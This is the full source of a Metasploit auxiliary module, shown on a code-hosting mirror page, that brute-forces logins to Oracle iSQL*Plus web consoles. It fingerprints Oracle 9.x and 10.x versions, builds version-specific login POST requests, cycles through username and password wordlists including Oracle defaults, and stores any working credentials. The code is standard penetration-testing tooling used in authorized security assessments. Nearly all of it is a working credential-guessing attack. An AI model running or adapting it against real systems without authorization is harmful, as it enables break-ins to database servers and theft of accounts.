Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/scanner/oracle/isqlplus_login.rb
19612 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Exploit::Remote::HttpClient
8
include Msf::Auxiliary::Scanner
9
include Msf::Auxiliary::AuthBrute
10
11
def initialize
12
super(
13
'Name' => 'Oracle iSQL*Plus Login Utility',
14
'Description' => %q{
15
This module attempts to authenticate against an Oracle ISQL*Plus
16
administration web site using username and password combinations indicated
17
by the USER_FILE, PASS_FILE, and USERPASS_FILE.
18
19
This module does not require a valid SID, but if one is defined, it will be used.
20
Works against Oracle 9.2, 10.1 & 10.2 iSQL*Plus. This module will attempt to
21
fingerprint the version and automatically select the correct POST request.
22
23
},
24
'References' => [
25
[ 'URL', 'https://blog.carnal0wnage.com/' ],
26
],
27
'Author' => [ 'CG', 'todb' ],
28
'License' => MSF_LICENSE
29
)
30
deregister_options('BLANK_PASSWORDS') # Blank passwords are never valid
31
32
register_options([
33
Opt::RPORT(5560),
34
OptString.new('URI', [ true, 'Oracle iSQLPlus path.', '/isqlplus/']),
35
OptString.new('SID', [ false, 'Oracle SID' ]),
36
OptInt.new('TIMEOUT', [false, 'Time to wait for HTTP responses', 60]),
37
OptPath.new('USERPASS_FILE', [
38
false, "File containing users and passwords separated by space, one pair per line",
39
File.join(Msf::Config.data_directory, "wordlists", "oracle_default_userpass.txt")
40
]),
41
OptBool.new('USER_AS_PASS', [ false, "Try the username as the password for all users", false]),
42
])
43
end
44
45
def verbose
46
datastore['VERBOSE']
47
end
48
49
def uri
50
datastore['URI'].to_s
51
end
52
53
def timeout
54
(datastore['TIMEOUT'] || 60).to_i
55
end
56
57
def prefix
58
datastore['SSL'] ? "https" : "http"
59
end
60
61
def msg
62
"#{prefix}://#{rhost}:#{rport}/#{datastore['URI'].gsub(/^\/+/, "")} -"
63
end
64
65
def get_oracle_version(ip)
66
begin
67
res = send_request_cgi({
68
'version' => '1.1',
69
'uri' => uri,
70
'method' => 'GET',
71
}, timeout)
72
oracle_ver = nil
73
if (res.nil?)
74
print_error("#{msg} no response")
75
elsif (res.code == 200)
76
print_status("#{msg} Received an HTTP #{res.code}")
77
oracle_ver = detect_oracle_version(res)
78
elsif (res.code == 404)
79
print_error("#{msg} Received an HTTP 404, check URIPATH")
80
elsif (res.code == 302)
81
print_error("#{msg} Received an HTTP 302 to #{res.headers['Location']}")
82
else
83
print_error("#{msg} Received an HTTP #{res.code}")
84
end
85
return oracle_ver
86
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e
87
print_error "#{msg} Cannot connect"
88
end
89
end
90
91
def detect_oracle_version(res)
92
m = res.body.match(/iSQL\*Plus Release (9\.0|9\.1|9\.2|10\.1|10\.2)/)
93
oracle_ver = nil
94
oracle_ver = 10 if m[1] && m[1] =~ /10/
95
oracle_ver = m[1].to_f if m[1] && m[1] =~ /9\.[012]/
96
if oracle_ver
97
print_status("#{msg} Detected Oracle version #{oracle_ver}")
98
print_status("#{msg} SID detection for iSQL*Plus 10.1 may be unreliable") if oracle_ver == 10.1
99
else
100
print_error("#{msg} Unknown Oracle version detected.")
101
end
102
return oracle_ver
103
end
104
105
def check_oracle_version(ver)
106
[9.0, 9.1, 9.2, 10].include? ver
107
end
108
109
def run_host(ip)
110
datastore['BLANK_PASSWORDS'] = false # Always
111
ver = get_oracle_version(ip)
112
if not check_oracle_version(ver)
113
print_error "#{msg} Unknown Oracle version, skipping."
114
return
115
end
116
if datastore['SID'].nil? || datastore['SID'].empty?
117
print_status "Using blank SID for authentication."
118
end
119
each_user_pass do |user, pass|
120
# Blank passwords aren't allowed
121
if pass.nil? || pass.empty?
122
print_status "Skipping blank password for #{user}"
123
else
124
do_login(user, pass, ver)
125
end
126
end
127
end
128
129
def sid
130
if datastore['SID'].nil? || datastore['SID'].empty?
131
nil
132
else
133
datastore['SID']
134
end
135
end
136
137
def do_login(user = 'DBSNMP', pass = 'DBSNMP', version = 9.0)
138
uri = datastore['URI']
139
140
vprint_status("#{msg} Trying username:'#{user}' with password:'#{pass}' with SID '#{sid}'")
141
success = false
142
if version == 9.0
143
postrequest = "action=logon&sqlcmd=&sqlparms=&username=#{user}&password=#{pass}&sid=#{sid}&privilege=&Log+In=%B5%C7%C2%BC"
144
elsif (version == 9.1 || version == 9.2)
145
postrequest = "action=logon&username=#{user}&password=#{pass}&sid=#{sid}&login=Login"
146
elsif (version == 10)
147
postrequest = "username=#{user}&password=#{pass}&connectID=#{sid}&report=&script=&dynamic=&type=&action=&variables=&event=login"
148
end
149
150
begin
151
res = send_request_cgi({
152
'version' => '1.1',
153
'uri' => uri,
154
'method' => 'POST',
155
'data' => postrequest,
156
'headers' => { 'Referer' => "http://#{rhost}:#{rport}#{uri}" }
157
}, timeout)
158
unless (res.kind_of? Rex::Proto::Http::Response)
159
vprint_error("#{msg} Not responding")
160
return :abort
161
end
162
return :abort if (res.code == 404)
163
164
if res.code == 200
165
# English, German, and Danish.
166
if (res.body =~ /Connected as/ or res.body =~ /Angemeldet als/ or res.body =~ /Arbejdssk/)
167
success = true
168
elsif (res.body =~ /ORA-01017:/ or res.body =~ /ORA-28273:/)
169
# print_error("received ORA-01017 -- incorrect credentials")
170
success = false
171
elsif (res.body =~ /ORA-28009:/)
172
print_good("#{user}:#{pass} is correct but required SYSDBA or SYSOPER login")
173
success = true
174
elsif (res.body =~ /ORA-28000:/) # locked account
175
success = false
176
elsif (res.body =~ /ORA-12170:/ or res.body =~ /ORA-12154:/ or res.body =~ /ORA-12162:/ or res.body =~ /ORA-12560:/)
177
print_status("Incorrect SID -- please set a correct (or blank) SID")
178
return :abort
179
elsif print_error("Unknown response, assuming failed. (Supported languages are English, German, and Danish)")
180
success = false
181
end
182
elsif res.code == 302
183
print_status("received a 302 to #{res.headers['Location']}")
184
return :abort
185
else
186
print_status("Unexpected Response of: #{res.code}") # ''
187
return :abort
188
end
189
rescue ::Rex::ConnectionError => e
190
vprint_error("#{msg} - #{e}")
191
return :abort
192
end
193
194
if success
195
print_good("#{msg} successful login '#{user}' : '#{pass}' for SID '#{sid}'")
196
report_isqlplus_service(target_host, res)
197
report_oracle_sid(target_host, sid)
198
report_isqlauth_info(target_host, user, pass, sid)
199
return :next_user
200
else
201
vprint_error "#{msg} username and password failed"
202
return :failed
203
end
204
end
205
206
def report_isqlplus_service(ip, res)
207
sname = datastore['SSL'] ? 'https' : 'http'
208
report_service(
209
:host => ip,
210
:proto => 'tcp',
211
:port => rport,
212
:name => sname,
213
:info => res.headers["Server"].to_s.strip
214
)
215
end
216
217
def report_oracle_sid(ip, sid)
218
sid_res = ((sid.nil? || sid.empty?) ? "*BLANK*" : sid)
219
report_note(
220
:host => ip,
221
:proto => 'tcp',
222
:port => rport,
223
:type => "oracle.sid",
224
:data => { :sid => sid_res },
225
:update => :unique_data
226
)
227
end
228
229
def report_cred(opts)
230
service_data = {
231
address: opts[:ip],
232
port: opts[:port],
233
service_name: opts[:service_name],
234
protocol: 'tcp',
235
workspace_id: myworkspace_id
236
}
237
238
credential_data = {
239
origin_type: :service,
240
module_fullname: fullname,
241
username: opts[:user],
242
private_data: opts[:password],
243
private_type: :password
244
}.merge(service_data)
245
246
login_data = {
247
core: create_credential(credential_data),
248
status: Metasploit::Model::Login::Status::UNTRIED,
249
proof: opts[:proof]
250
}.merge(service_data)
251
252
create_credential_login(login_data)
253
end
254
255
def report_isqlauth_info(ip, user, pass, sid)
256
ora_info = {
257
ip: ip,
258
port: rport,
259
password: pass,
260
proof: sid.inspect,
261
service_name: 'tcp'
262
}
263
if sid.nil? || sid.empty?
264
ora_info.merge! :user => user
265
else
266
ora_info.merge! :user => "#{sid}/#{user}"
267
end
268
report_cred(ora_info)
269
end
270
end
271
272